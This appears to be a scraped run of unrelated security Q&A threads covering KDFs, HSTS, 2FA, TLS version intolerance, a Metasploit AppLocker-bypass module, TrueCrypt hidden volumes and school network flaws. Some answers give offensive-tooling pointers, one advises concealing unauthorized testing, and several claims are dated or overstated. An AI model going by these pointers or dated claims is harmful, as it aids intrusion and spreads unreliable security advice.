bcrypt is an older KDF designed from the key schedule of Blowfish, which is slow. It requires 4 KiB of fast memory to compute, which makes it inefficient on GPU-based crackers due to their use of contended memory. This is because GPUs have many cores, but each core has to share access to the main VRAM. Because bcrypt reads and modifies a 4 KiB state as it runs, multiple parallel GPU cores will fight over who gets access to the main memory bus, and the result is that most cores are idling, waiting until they have access to the memory they need to perform bcrypt evaluations.

scrypt is a memory-hard KDF, but it is subject to more severe TMTO attacks than Argon2. That is, if an attacker doesn't have enough memory, they can run scrypt over the same input with less memory than required by performing more operations. Additionally, scrypt's internal  memory and time requirements are not independent, so it is impossible to increase memory usage without increasing processing time, and vice versa. This may become an issue for servers that might want to spend only a few tens of milliseconds on each computation, but which want to use several megabytes of memory.

Catena was one of the PHC candidates, but it did not win the competition. I haven't read the paper so I can't really say much about it, but because it did not win, it won't have nearly as much research going into it, so if there are any issues, they may not be discovered. It is not, however, a bad choice, as it was still the subject of significant research and has a solid theoretical foundation. I still wouldn't use it.

PBKDF2 is one of the oldest KDFs, and is likely the most common. It is not memory hard, which means an attacker can perform massively parallel attacks against it without running into memory issues. PBKDF2 works by taking any keyed hash, typically HMAC, and running it multiple times such that each hash evaluation depends on all the previous hash evaluations. Unfortunately, typical hashes used in HMAC require next to no memory to compute, so an attacker can massively parallelize brute force searches on GPUs and ASICs without running into the issues that a memory-hard KDF would cause.


Physical laptop lock I brought this really great laptop, but I cannot find something that I can lock the laptop physically to the desk or prevent a thief from grabbing this laptop.
There is no "universal" hole there that 99% of the laptops have... not that ive noticed at... (I mean thing like that: http://www1.dealextreme.com/productimages/sku_0045_1.jpg)

What would be a good solution, for physically protecting a laptop that does not support standard laptop locks?

Why don't you put it to the locked cabinet or locked drawer in your desk? Keep it simple.


VPN and facebook hack is there any chance of being hacked on Facebook while using virtual private network? and can the provider use my account for any unfair means?

No. Your connection to Facebook is not at risk when you use a VPN. That's because the communication between you and Facebook is SSL-encrypted and therefore the content cannot be read or modified by anyone in between, neither your ISP nor your VPN provider.

They can conclude that you use Facebook but not read or control what you do on Facebook.


Should I follow up on vulnerabilities that were disclosed over a year ago but have not been fixed? Background:

A few years ago, I asked this question about disclosing somewhat serious vulnerabilities found in my high school's computer network.

More than two years later, the principal was made aware (by overhearing other students talking) that I was rumored to be a "hacker" and called me into his office to ask about (unrelated) suspicious network activity. The assistant superintendent and two of the district's IT personnel were present in this meeting. Misunderstanding the situation, I assumed they were aware of the extent of what I knew and explained the issues I had found:

The network administrator password is accessible to all users, and is located in a plain-text file on every computer
Every computer has a local administrator account that requires no password to log into
The security cameras throughout the building are accessible from the wired and wireless network, and can be streamed live, turned, set to stop recording, disabled, or otherwise messed with; the streams are unencrypted and the web-based camera control panels use the default (or no) credentials
The web-based sign-on for the (otherwise password-less) wireless network can be trivially circumvented, allowing anyone to access it without authenticating themselves as a student
The content filtering and website blocking system can be trivially circumvented

I also explained that I had found the issues several years prior, and had neither expoited nor reported them out of fear of the consequences. I think my unexpected disclosure of several major vulnerabilities took the prinicpal by surprise, and he said that I would not be suspended or expelled if I stopped all "exploration" of the network and stopped bypassing the school's content filtering system. I also think I may have embarrassed the IT guys in the room a little; they explained that they would not have known anything about my activities had I not told them.

I have since graduated, however right before graduating (roughly a year after my conversation with the school principal) I wanted to check whether the problems I had found were fixed, in spite of being explicitly instructed to not do so. Not a single one was. I have graduated, but I still take these issues very seriously. I feel that the vulnerabilities I found pose a major security and safety risk for the school district's thousands of students. This is especially true if the vulnerabilities are used in combination, since anyone can, for example, access the wireless network (and therefore the cameras) without authentication from outside the building.

Question:

I am wondering about the best course of action, keeping in mind that I directly disobeyed my principal's explicit instructions, that the issues are known to multiple levels of district administration and IT personnel, and that they have been aware of them for a full year. My identity is also now known, which means if I brought these issues back up, it would be difficult to do anonymously. With those factors in mind, my questions are as follows:

What are the likely consequences of pursuing this further? Are they different now that I am no longer a student?
How can I do my best to make sure these issues are resolved without resorting to speaking with the press as is suggested by some here or suing as suggested here?
In spite of the seriousness of these issues, is it worth pursuing this further, or have I basically done all that I can?

I would not pursue this any further.

To summarize: You actively and extensively looked for vulnerabilities in their network (likely illegal, depending on your location). You admitted doing this and were luckily not punished, but told to not do it again. And then you did it again.

Your first exploration can be explained by youthful ignorance of laws and school rules (and could maybe even have been excuses by "accidentally" discovering these issues during normal activity), but the second one cannot (it is mainly a legal problem, but doing something to things you do not own against the expressed will of the person responsible for it is unethical in many cases as well; this is even true when considering that the school is also acting unethical here by not fixing serious issues in a timely manner).

What you should have done

This is not helpful now, but if you are in a similar situation in the future: Ask.

The school might actually have been happy to allow you to re-check these issues. Or they might not have been. But the only way to know is to ask.

If you wanted to make sure that the issues do get fixed, you could have offered to help fix them; by suggesting possible solutions, by offering to re-check their solutions, or by actually helping to implement these solutions (this maybe could have taken place in the form of extracurricular activities which maybe could have even been mentioned on a resume or college application).

What to do now

I don't see a way to pursue this without getting into trouble.

IANAL, but going to the press, suing, or even just saying that you know that the systems are still vulnerable could very well get you into legal trouble.

If you really want to, the best approach may still be to contact them and ask if they were able to fix the issues, and if they would like you to re-check them, or if they would like your help in fixing them (for free; anything else could also get you into legal trouble). If you do this, don't mention that you already re-checked without permission (and hope that they do not have any monitoring in place that could disclose your previous activity).


Applocker Execution Prevention Bypass - Session parameter I am still new to Metasploit and I am trying to explore the following module:

1- Module Name: exploit/windows/local/applocker_bypass

I did:
1- use exploit/windows/local/applocker_bypass
2- set TARGET Tager_Windows_Machine

Now I need to set the SESSION Attribute, but I am not able to find out what value should I put in order for this exploit to work.

You must first have a working Meterpreter or a handler session that has received an incoming shell (these are the interpreter environments that provide an implant, or backdoor payload, to the system(s) under target). Typically, a handler session can be upgraded to Meterpreter using the sessions -u <selected session> flag. The module you specified is a post-exploitation module -- meaning that you must have already exploited the target(s) in order to utilize it.

Recommend that you get a copy of Cyber Operations: Building, Defending, and Attacking Modern Computer Networks or another book that can help. The reason that I recommend this book is because it walks the reader through generating document-based malware with set filename before introducing the more-advanced methods of generating malware, such as via msfvenom, the backdoor factory, or shellter (although, instead of shellter, the book covers a more-outdated antivirus-bypass framework named Veil-Evasion). It's chapter 10 covers how to create, activate a communications channel, install/persist, and analyze malware -- all a great, complete introduction to the subject matter.

For some additional background on bypassing AppLocker, check out this resource as it contains a lot of information on more-generic bypasses that do not even require the metasploit-framework's post-exploitation module -- http://en.wooyun.io/2016/01/28/Bypass-Windows-AppLocker.html


Hiding existing windows 7 and loading decoy windows 7 instead I have windows 7 64bit installed on my computer (NTFS).
I wish to hide this installation and create a "decoy" windows 7:

When the computer boots up, it will boot to this new "decoy" win 7.
If, on the other hand, when the computer boot up, I will insert a USB driver with a loader - it will load up a password screen in which after writing the correct one it will open the existing, hidden win 7.

I looked at DiskCryptor but I was only able to password protect the default OS.
Is it possible to do such thing?

Thanks!

You could use TrueCrypt with a hidden volume which provides you with “plausible deniability” If you would be forced to unlock your drive, you can enter the password to the "decoy" operating system. Using a VM is optional.

The difference between a standard TrueCrypt volume and a TrueCrypt volume after adding a hidden volume.

You can create this volume by selecting the option "Hidden TrueCrypt volume" in the TrueCrypt Volume Creation Wizard.

A lot of websites claim that TrueCrypt is no longer secure, however, I have yet to see someone break a fully encrypted disk.

Also recent documents reveal that the NSA can't break TrueCrypt volumes, assuming strong passwords are used.

TrueCrypt can be download here as the original website no longer offers it.


HSTS Cache Policy for Root Domain Let's imagine my main website is https://www.example.com, but a user types in http://www.example.com.

Should this redirect straight to https://www.example.com, or should it first redirect to https://example.com in order to cache the HSTS policy for the entire domain?

My HSTS policy is: max-age=31536000; includeSubDomains; preload

Does using preloaded HSTS change this at all?

If the browser is already "aware" of the HSTS policy for this domain, then the browser will immediately rewrite the request to go over HTTPS and will fail if that is not possible.  There are two ways for a browser to become aware of an HSTS policy:

Have previously visited the site with a valid HSTS policy, and recorded that HSTS visit.
Having a preloaded HSTS policy from the site operator, such that the policy is included when the user downloads/updates the browser.  Each browser has their own procedure for preloading HSTS.

So, if your policy is not in the preload list and your user has never visited your site before, then the first request may go over HTTP.  (And, in the case of an active MITM, it may stay over HTTP since they can strip the HSTS header.)

Edit: includeSubdomains applies to the subdomains of the current domain being visited, and so a user visiting www.example.com will not get a policy for *.example.com, but *.www.example.com.  If you want to apply the policy to all subdomains of your top level domain, you need to get the user there somehow.  (This doesn't have to be a redirect, it could even be an IFRAME.)  Per the RFC:

  The OPTIONAL "includeSubDomains" directive is a valueless directive
  which, if present (i.e., it is "asserted"), signals the UA that the
  HSTS Policy applies to this HSTS Host as well as any subdomains of the
  host's domain name.


Do 2FA sites leak info by confirming a correct password guess? Here's my relatively layman's view of the issue.

Many websites tout multifactor authentication (MFA) as an enormous boost to the security of users' accounts, and it can be if implemented properly.

However, it seems that some sites will only prompt the user for their MFA AFTER they enter their password correctly.  I've only tested this with gmail.com and outlook.com, but given that these are two huge email providers, I imagine they're only two of many perpetrators.

The reason this is (at least on the face of things) such a huge security flaw is that it can allow crackers to guess a user's password until they're presented with the prompt for MFA, at which point they know they've got the user's password.  It seems like websites will brush this off, saying, "But since the user has MFA, the cracker can't get into their account."

What they seem to forget is that the user likely has accounts on other websites, and quite possibly uses the same password for that site.  So now the cracker may have access to all the user's accounts across the web, many of which probably don't have MFA implemented, leaving the user completely vulnerable to attacks.

Are there any flaws in my argument or assumptions that would make this a non-issue?  If not, then why do huge companies like Google and Microsoft not fix this issue?

If I'm understanding your question properly, the attack you are proposing is to brute-force passwords against a server like this, then once it shows you the MFA screen, go try that password on other websites that this user has accounts on.
This is a great question! Good find! But you seem to be overlooking two points:

This is no weaker than not having MFA, which also confirms the correct password ... by letting you in.

No hacker in their right mind will try brute-forcing a password against a live server which typically rate-limits you to like 5 guesses per second. Or in the case of the big providers like GMail or Outlook, have complex fraud-detection systems that do auto IP-blocking of suspicious activity. 99.999...% of the time, password brute-forcing is done against password hashes stolen directly from the database on which you can guess (m|b)illions of passwords per second.

So while I agree with you that there is the potential for some data leakage here, I think the risk is minimal, and far outweighed by the user inconvenience of having to fumble with their OTP fob just to find out that they typo'd their password.

Update addressing comments since this has become a hot network question:
There are two types of Multi-factor authentication (aka "2FA" or "MFA") that really need to be thought about separately:

SMS or Push Notification 2FA: when you get to the 2FA screen it sends a code to your device that you have to type in. For many users, this is probably the only type of 2FA that you've been exposed to. The attack described in the question will not work in this case because the user will receive a 2FA code they did not request and they'll know something's wrong.
Moreover, doing the 2FA step regardless if the password is correct is actually harmful it this case because:

An attacker could potentially cause the user to get a huge monthly data / SMS bill, or crash their device by filling its memory with notifications.
It also leaks which users have 2FA enabled, and which are easy targets.

"Offline" 2FA using code-generator tokens, apps, or public-key enabled smart cards / USB sticks. This is the kind of 2FA that government, military, and corporations use. So while it's less visible to end-users, it's by far the more important type of 2FA because of the value of the data it's protecting. In this case, there is no "built-in" notification to the user when an attacker gets to their 2FA screen. And usually all users are required to use 2FA, so there's no harm in leaking which user have 2FA enabled, because it's all of them.

Imagine this scenario for Case 2: a corporate VPN that sits on top of the Windows Active Directory. Public-facing VPNs get hammered on all day long by password guessers, so there's nothing unusual about those logs. But if I can have the user's password confirmed by the VPN's 2FA screen, then I can walk up to their laptop and log in confident that it will not lock out the Windows account - which would certainly get noticed by the user / IT. The question correctly points out a security hole that the pattern of "got to the 2FA screen and entered nothing / entered something incorrect" should certainly be flagged as more severe than your standard "incorrect username/password" and should notify the end-user to retire their password.


A manual function for hasing identity? I hope you won't close the question. Even though there are no computers involved, it is still about information and security, and I think that security experts are the ones who will be able to help best.

I want to do some user research. I need people to fill out a questionnaire, and then fill out another questionnaire two months later. I need to guarantee them anonymity, but it will still be very good if I can match the answers from a person from round A to answers from the same person from round B.

Even if this is done online, I don't think that I can let a computer system find out something about them so it can do the matching for me. In theory, I could ask them for a name and store its md5 hash. In practice, if I tell the participants they will be anonymous and then ask them for a name, I will lose their trust. And the beginning of a questionnaire is not a good place to educate random people about what md5 is. But to make this even harder, I think that I will do my next survey using pen and paper, for logistical reasons.

If I started giving people tokens, I think they will lose them during the two months. So the best solution I can think of is some sort of manual hash. For example, I could ask them "please fill the second and fifth letter of your surname and the day of month you were born". So my question is, how do I come up with a good function of this kind?

which data points about a person can be used? They must be guaranteed to exist (my above example breaks down if the person has a four-letter surname), highly individual (but not 100% unique), and the person must know them without having to look them up somewhere.
Is there some convenient way to calculate how many digits/letters I need to ask for to ensure a collision chance below X% in a group of Y people?
Are some of the possible data more problematic than others? For example, could it be that people would be more reluctant to write down the first letter of their surname than the second, because they think it would be easy for someone to try to look them up in a "brute force attack" and find out who they are?
How do I find out the highest level of complexity beyond which people either don't play along or start making mistakes?

There was a study done, to which unfortunately I do not have a link, using which they found out that even when user's data did not contain personally identifiable information, they could track individuals from other attributes so long as they had rough idea of their location. Now this may or may not be as much applicable to dense areas as to sparse areas, but if someone promises anonymity, it can be a concern.

With the approach that you are suggesting, how do you guarantee that they will get to the same code both times, and not make a slightest mistake to arrive at a different code? Remember, they have no way to verify it.

Since your question is open ended, there're a few different kinds of approaches that you can take:

1) When you are distributing them the questionnaires, can you just give both upfront? For example, have them fill out one immediately, and then have the other in a sealed envelope that they open up two months later and then fill up? If that's possible, of course, you can have same ID on both surveys. There is of course the possibility of them losing the survey, but I think you will have to assume in your sample that some folks who are surveyed the first time will not be providing surveys the second time. It is probably a little less likely that they will lose surveys vs a code that you had provided.

2) Perhaps you can have them use an online CRC32 or MD5 hash function using their last four digits of their phone, two digits of their address, etc. or some simple combination like that. They will still not be giving too much personally identifiable information, and they can verify that the site they're getting the hash from is not related to you, if they have concerns. This is not as user friendly, but definitely more friendly than they calculating their own hash, using the scheme you specified in your question. (for example, see here: http://www.fileformat.info/tool/hash.htm -- you can also search for "calculate hash online" or something similar. I am sure there will be some phone apps too.)

As for the code approach that you have, keep in mind that any time you use any variable that's in a database somewhere, the users will be trackable. For example, my doctor's office has my social security, my date of birth, my name -- no matter how you ask me to put it on the survey, someone can easily run an automated tool to find out what the codes will be calculated for each of those records and find the survey. Of course, it boils down to how important is it to be anonymous and what you're promising and the impact if someone were to trace the survey to an individual.

FYI. The hash approach in #2 is also vulnerable to the same approach, although a little more effort is required depending on the hash used.

Sorry, that's the best I can think of as of now, hopefully, it will help you go towards a solution. IMO, if you can go with #1 approach above (give both surveys upfront), that's the best way to approach it and ensure high level of anonymity.


Do secure phone lines exist? I could be out of context here about security, but , I would like to know if phone lines or phone calls over VOIP could be made secure .

I know that Skype and other VOIP service providers have to give access to respective governments of countries who request authorization of phone calls from their country .
The normal phone lines themselves are unsecure.

I am talking from a perspective of a kid(in terms of security) who watches movies and thinks what does it mean and how do they do it ? I would really like to know the secret that if its actually possible.

"The phone line at our end is secure , is your connection secure ?"
"Are we on a secure phone line ?"

A secure phone line is conceptually possible; this is not really different from, e.g., a secure communication between a Web browser and a HTTPS server (there are technical subtleties about lost packets and whether they should be tolerated, but that is not the issue here). However, the movie-secure phone is not secure, and that's a structural problem.

The problem lies in the question: "is your connection secure ?". If you need to ask to the other guy whether the line is secure, then the line is not secure. That's as simple as that. A "bad guy" could hijack the line and, when you ask whether the connection is secure, the bad guy could simply respond "yes it is !", counterfeiting the voice of the intended recipient (and, in the other direction, he could "replace" the question by an innocent sentence).

In a secure phone line, the caller and the receiver shall be authenticated to each other, which can be done with various cryptographic tools (e.g. digital signatures, or, more simply, a shared secret). Variants of the same tools also establish a session-specific shared secret which can be used to symmetrically encrypt the data. Bottom-line is that once people begin to actually talk, the line should already be secure and both participants shall have ways to know it (e.g. they are using special phones which refuse to communicate if security is not achieved). Otherwise, there is no security.

On a more practical point of view, if I were to implement a phone-like secure system between two entities, I would investigate using VoIP over a VPN. This would require some delving into the details of the VoIP protocol, so I would do that with an open protocol (i.e. Ekiga, not Skype).


Being charged with DDoS – my IP address shows on hacked computer On July 21 2020 a business was subjected to DDoS attacks crashing their system  and causing a very expensive problem.
My IP address was used and I am being blamed and have to explain how my IP address was identified as the source of the problem.
For what it's worth I have since discovered a lot of malware running on my machine.

Is it possible that a hacker used "dirty tricks" to remotely drive my computer and initiate DDOS attacks? Backdoor software?

Is there a way to spoof someone's IP address making it look like it was the victim's actions?

Is it possible that a hacker used "dirty tricks" to remotely drive my
computer and initiate DDOS attacks? Backdoor software?

Absolutely. Remote access, backdoors, bots, etc. they all give someone else access to your machine. Botnets are used for a variety of actions, including DDoS attacks.

Is there a way to spoof someone's IP address making it look like it
was the victim's actions?

Absolutely. But it depends on the type of DDoS. I can, from my home, craft traffic to a target using any IP address I like. Any response won't come back to me, though.


Make OSSEC ban ip on remote firewall I am deploying OSSEC architecture agent-server mode.
I want the server to ban ip not only on agent but also on a remote firewall (dedicated iptables server).

I've seached on the OSSEC's documentation but didn't find a way to do this so far ...

You can do this by making a customized active response. This will require you to write a script which can add IPs to your remote firewall. I suggest reading up on the linked documents as they explain this quite well.


How can my bank debit card reader know that my pin is valid? Why do ATMs accept any PIN? states that the ATM does not know my pin and the pin is not on the card as well.

My bank has this system:

It works in 5 stages:

I enter my debit card number on the website;
The website gives me an 8 digit code to enter on the machine;
I insert my card into the machine, press the M1 button and enter the 8 digit code;
After the code is entered, the machine asks me for my 4 digit pin and and immediately says if it's correct (by stating "PIN OK");
The machine then gives me a 7 digit code to enter on the website, which authenticates me.

How can this machine know that my code is valid if the code is not on my card? Note that the M1 and M2 buttons are not memory buttons, but instead buttons that start a certain workflow: M1 is for authentication with the system and M2 is for digitally signing my transactions.

The card knows this, the reader doesnt. When you put a pin in the reader talks to the microcontroller on the card to verify - which also logs the incorrect attempts. So multiple readers wont help trying to guess somebodies pin!
Thats more or less the extent of my knowledge, but an overview of how it works. The underlying protocols I have no knowledge of unfortunately. But the best public chip and pin researchers I've seen to date are the Cambridge guys ( http://www.cl.cam.ac.uk/~rja14/ ) despite the legal threats against them.
A better answer will come along very soon!


What are the risks of running Team Fundation Server on HTTP? if TFS is installed using HTTP but only accessible from inside a LAN with Windows authentication, is it possible that a user impersonate someone else? what are other risks?

It depends on how secure your LAN is. If you have full protections against man-in-the-middle attacks (e.g. protection against ARP, DNS or DHCP spoofing), against passive network-wide sniffing (mirror port switch) and also sniffing on local machine then it might be sufficient, i.e. at least not less secure then with HTTPS. If not impersonation might be possible.


Why do browsers allow public websites to attack intranet sites? When I'm visiting a website on the public internet, the website can cause my browser to send requests to a local IP address (such as 10.0.0.1).  This can be used to attack internal web sites, e.g., through
CSRF attacks.

Why do browsers allow this?  If browsers prohibited this, would this increase security?  If browsers prohibited this, would it break sites, and how large would the impact be?  Can we quantify the negative impact, or the security benefit?

Background: Local IP addresses like 10.0.0.1 are used for internal intranet sites.  They are not publicly routable and are used only for private networks.

Reference: see Jeremiah Grossman's comments in Browser Security Case Study: Appearances Can Be Deceiving, ACM Queue vol 10 no 10, November 20, 2012.  He raised this question, and comments on two possible reasons, though the article doesn't quantify how many sites would be negatively affected by such a modification (to be fair, that was probably beyond the scope of the article).

Update: Apparently metro-style IE 10 enforces some restriction along these lines (see the section titled Private Network resources).

The problem is not limited to private IP's, and poses just as big of a problem to public services. If you were to force a same-domain policy on all site assets, you would encounter plenty of problems with sites who have multiple domains (google, yahoo, facebook) and anyone who uses CDN service.

Obviously this wouldn't be the case when talking strictly private IP space, but I do not think that is the answer to the problem. It may prevent sites from automatically attacking private resources, it's still trivial to get an unknowing user to click a link pointed at the same thing.

In the end, the responsibility lies in the hands of the target server. The server should be taking steps to mitigate CSRF attacks, and only parse GET parameters for public/non-sensitive data.


Hardening Javascript in respect to Javascript Malware/Ransomeware like Ransome32 Are there any methods or standards to harden Javascript implementations to help reduce/remediate the the risks associated with Javascript malware like the Ransom32 or other types of Javascript attacks?

http://www.bleepingcomputer.com/news/security/ransom32-is-the-first-ransomware-written-in-javascript/

Alternative answers which may be helpful include any good guidelines on hardening all of the applications which implement javascript such as browsers or adobe reader that may be relevant to mitigating Javascript specific malware (Not looking for general browser hardening guidelines unless they have Javascript specific remediation steps).

Note: I'm asking this in the context of how to implement this for desktops across an organization.

The most important thing to consider here is that this type of JavaScript malware does not run in a browser. It runs in a special runtime called NW.js which gives powerful NodeJS API's not found in a browser.

While NW.js shares many technologies with the Chromium browser, it is not a browser but a type of native wrapper for making desktop apps, and this type of malware would not run in a traditional browser which would never create the necessary API's for things like direct, un-prompted filesystem access. Therefore, browsers (and presumably Adobe Reader, even with a not-so-great track record) are already immune by design.

On the flip side, the main advantage to NW.js is that it makes these powerful API's available to JavaScript powered applications. This means that you can make desktop applications with traditional desktop application capabilities. The only way to limit this functionality would be to take away these advantages and cripple the wrapper completely.

In short, this isn't a new security risk. Running any desktop application carries the same risk, be it written in C++, JavaScript, etc. The only think new is that JavaScript has evolved to be the interpreted language of choice for many new things, and is now a common language outside a browser.

In fact, your link says it uses a self-extracting RAR file which means the user must run a .exe file. That .exe could be anything.

On a side note, we have actually already seen pure JavaScript malware for Windows targeting the Windows Script Host because .js files are executable on Windows by default (!). Normally these are just used to bypass malware filters and download more executable payloads when run.


Firefox not deleting HTTP Basic authentication credentials although being instructed to do so On one of my web servers, I have set up a password-protected directory using the well-known .htaccess / .htpasswd mechanism. The web server is run by Apache 2.4.10 under Debian jessie, if that matters. The relevant snippet from the virtual host configuration:

<Directory "/home/www/path/to/protected/directory">
  AuthType Basic
  AuthName "Restricted Content"
  AuthUserFile /etc/apache2/.htpasswd
  Require valid-user
</Directory>

Now, when I open a document from that protected area using Firefox, Firefox asks for the credentials. So far, so good.

But when I clear Firefox's login data and cache, using Tools -> Options -> Privacy & Security -> Clear Data -> Clear (with both items in the dialog being checked), and then re-open the same or any other document from that protected area, Firefox shows that document without asking for the credentials again.

In other words, Firefox either does not delete its cache when being instructed to do so, or it does not delete what it calls "Site Data" when being instructed to do so.

If I am right, this is a serious security breach. A reasonable user knows that (when not using his own private device, e.g. when using a PC in an internet cafe) the browser's cache and login data should be cleared after having used the browser to access password-protected areas, and relies that this works.

The only way to make Firefox forget such logins seems to be to first clear the cache and the Cookies and Site Data as described above and then immediately close the application (File -> Exit).

But this is not a real solution to the problem. If I instruct a browser to clear the Cache and the Cookies and Site data, I expect that it immediately forgets all credentials without restarting. Period.

I have tested this with Firefox 61.0.2 (the most recent version at the time of this writing) under Windows 7.

By the way, Chrome does it right.

Finally, to avoid misunderstandings:

The above only relates to credentials for the areas which are protected by .htaccess, i.e. where the browser itself asks for the credentials. All sites which implement access control by session cookies are not affected by the problem, because (as far as I can tell) Firefox indeed deletes all cookies as soon as you make it delete its data as described above.

What do you think about this? Is it a security problem?

Firefox (Firefox 68.0, under Linux) doesn't store this info in Cookies and Site Data but in History.

You need to go to Preferences->Privacy & Security and under the History section, click on Clear History.... Make sure the Active Logins checkbox is checked before you submit.


User specified iteration count I'm working on a PHP authentication and registration system following the standard salt+password = 'auth hash' and using the plaintext/unencrypted username as the lookup field on the initial query. For the intent of this question, let's assume I'm using a global pepper as well (I'll likely add one prior to finish, so let's pretend I've already done that).

Something just struck me as a perhaps interesting concept. I realize they say "don't reinvent the wheel when it comes to security", but I was considering allowing a 'user specified' number of iterations for PBKDF2.

Now, I don't mean that the user has control over the number of iterations, but rather, a random number between X and Y is generated at runtime and then that value is stored, in plaintext, as a separate field in the database in the same way that you'd store the salt. I understand that the algorithm is already viewed as being extremely secure while being simple to implement, but I figure that an extra 'layer' would make it even more difficult for an attacker to work against.

For the sake of simplicity (and continuity with using foodstuffs), let's call the random iteration count 'sauce'. As an example;

Pepper is already in DB and is retrieved to a variable
User registers with username and password
Salt is generated
Sauce is generated, and must be between 16000 and 32000 iterations (theoretical numbers)
Hash is generated from salt+password+pepper+sauce
Username, hash, salt and sauce are stored in the DB

Since 'sauce' is stored as plain text, your algorithm itself would be adaptive based around what's stored in the database (just as with salt), and even more to the point, picking a number between X and Y is generally quite fast.

Again, I'm not concerned that an attacker could break a SHA512 hashed 512-bit length output key that's gone through 32000 (example number) iterations and has a salt and pepper within a reasonable amount of time, and they certainly couldn't generate a rainbow table against it. I'm more interested in the prospect that we could expand the design further, relatively easily, having very little additional overheads on the 'defenders' side, but adding more overheads to the attackers side, potentially deterring them completely, and without needing to adapt the hashing algorithm itself.

You set your own minimum and maximum iteration counts within range of what your environment can handle and thus you still maintain significant control over the relative security of the system, and you never allow your end users to specify their own value (for performance reasons, and for the reason they'll likely select something memorable completely nullifying your extra step, and for making for a nice UX). In environments where security is of paramount importance, surely having these extra little steps in the way would work in the benefit of the defenders.

Would having this extra level not provide yet another hoop for an attacker to jump through? Thoughts?

The sauce is not an extra hoop. The attacker doesn't gain any benefit from knowing the sauce in advance. The salt prevents him from making useful precomputations anyway.

The optimal iteration count is determined from a compromise between your available computing power and the computing power available to a typical attacker. Sure, it's hard to quantify it precisely, but nonetheless randomization can only make the resulting value less optimal.

If the attacker wants to get a foothold into the organization and doesn't care much which account he breaches, the accounts with the lowest sauce are likely to fall first (though password complexity will have more influence). The randomization hurts more than it helps in this scenario, since it makes the weakest link weaker without a commensurate compensation by gained processing time.

Your random sauce is extra complexity, even if i's only a little bit. Complexity is the enemy of security, it's one more thing you might accidentally get wrong (e.g. a too-low minimal sauce).

In conclusion, I recommend a fixed iteration count, changing from time to time as processors get more powerful.


Decrypting Engima messages Not really computer related, but I hope someone has the answer. How do people decode messages from an Enigma machine?

I understand that if you knew the rotors, rotor positions, and plugboard the message was encrypted with, you could decrypt it, but how did other Nazis know those settings? They must have had to have a secure way of passing them around.

Here's a possible website you can use to find out more: http://www.openculture.com/2013/01/the_enigma_machine_how_alan_turing_helped_break_the_unbreakable_nazi_code_.html

A Summary:

Legitimate Method: The Nazis released a monthly code sheet with the appropriate settings for each day of that month. Once you knew the settings, you could type in the nonsense into an Enigma set that way and get the original message.

Cracking the Enigma: We knew that no letter in the Enigma ever encrypted to itself (ie, typing in "a" never yields "a"). We also knew how the Nazis sent messages (ie, their weather reports at 6 AM always had the format "The weather today is __ and _."). So we took their messages and, knowing that they had to contain certain words in certain (rough) locations, we matched them up with a limited number of slots that worked (because no letters in those slots were in a corresponding place in the word). From there, we were able to reverse engineer one of the settings by a clever brute-force attack. After that one setting, which produced by far the greatest variety, was broken, it was a simple matter to get the positions of the rotors (there were only a few thousand). The code was re-broken every day by a computer, which took about 20 minutes.


Is there an effective social engineering employee awareness program? Social engineering is cited as one of the primary threat vectors (see for example at:  https://gallery.technet.microsoft.com/Fixing-the-1-Problem-in-2e58ac4a).  Employee awareness training is also cited as one of the best means to mitigate this threat (see the same paper linked above).

My company has a 20 minute computer-based training module on social engineering awareness and prevention that is delivered once per year.  But I am a computer security guy and I have trouble remembering what it said, so I question its effectiveness.

Is there any industry awareness or consensus on what constitutes an effective social engineering awareness program?  If so, what are the features of such a program?

Note that I am writing a book on this very topic.

Social Engineering is all about getting people to do something. To combat that, you need to train your users to do something else. A 20 minute video once a year is not an effective means to affect someone's behaviour.

Ongoing, recurring training, embedded in the user's normal work routines, is the most effective method to change behaviours. Add to that, simulated scenarios (mock phishing, etc.) so that users have a chance to practice their skills in a safe way, can cement the new behaviours in the long term. There is a lot of research and study on the effectiveness of this approach.

Security Awareness is not a "fire and forget" exercise. It requires a "slow drip" of knowledge, training, and practice that is supported by an approachable, and even empathetic, security team.

In my book, I liken the problem to trying to get your entire workforce to loose 5 pounds. Once you start to think like that, you start to see that the problem is not "what's the best video to show?" but rather, "how to help each person every day?"


What is 'TLS version intolerance' I'm trying to fully understand the report of the SSL Labs server test.
Can someone explain the term 'TLS version intolerance'? I cannot find any documentation of this term, even not on the forums of SSL labs or their SSL Server Rating Guide.
For example, for the SSL report of mijn.ing.nl (dutch banking site) it states:
TLS version intolerance: TLS 1.3  TLS 1.98  TLS 2.98

Intolerance sounds bad, but is it in this case? I'm also unaware of the TLS versions 1.98 and 2.98.
Update: nowadays the TLS version intolerance is fixed for mijn.ing.nl (stated as "No" in the report)

In TLS, the client announces its maximum supported version. Then the server responds with the protocol version that will actually be used for the connection.

So for instance, if a server knows TLS 1.0 and 1.1, and the client announces "I support up to TLS 1.2", the server, without knowing what TLS 1.2 may be, can still respond: "fine, we'll use 1.1".

Theoretically, if a client says "I support up to TLS 1.38" (which will be encoded in the ClientHello as two bytes of value 0x03 0x27), a server who supports up to TLS 1.2 will not have any clue of what TLS versions 1.3, 1.4... to 1.38 are (and, indeed, such versions don't exist yet, the maximum defined being TLS 1.2 right now); however, that server can still say: "1.38 is higher/later than 1.2, so the client should know about TLS 1.2" and proceed with stating: "we will use 1.2".

In practice, some servers are poorly written, and when a client says "TLS 1.3" they drop the connection. This is a server bug; but a widespread one. That bug is often designated by the expression "version intolerance". Some of these buggy servers accept some kinds of unknown versions, but not all. E.g. some servers would tolerate any "1.x" version for any x in the 0 to 254 range, but would reject a version "2.y".

Because of version intolerance, clients (Web browser) must already include contingency code which tries several times. E.g. it first try to connect with "1.2" in the ClientHello, but if the connection fails, the client tries again with "1.0" as maximum supported version. This is tiresome and kludgy. A server that does not tolerate TLS version 1.3 is a server that will be troublesome when TLS 1.3 is specified and browsers begin to use it.


Is hack.chat safe from packet sniffing? So I recently found this tool called hack.chat. It's a disposable, browser-based IM system. If I were to use this at a friends house, public network, or at work, it is possible for someone on the network to capture messages being sent and received to reveal the conversation?

When you look at the URL it does have HTTPS, so does that mean the messages are encrypted?

Thanks!

You may not understand https, so I'd like to explain it a little bit.

What Happens With HTTPS?

Since it uses HTTPS, you generally don't have to worry about packet sniffing if it's properly implemented. With or without HTTPS, the program is not safe from packet sniffing (few things are).

Is that a problem? No. Why? Because with properly implemented crypto, when a malicious individual attempts to sniff your packets, the conversation will look like this:

Kalina sends: I love you!
Simon sees: I love you!
Rory McCune sees: abdLepdsdrf093423kl4rfdslDpr934szdl3790= (gibberish)

But What Happens If There's No HTTPS?

Without properly-implemented crypto, Rory will be able to discover what's being said. The conversation will look like this:

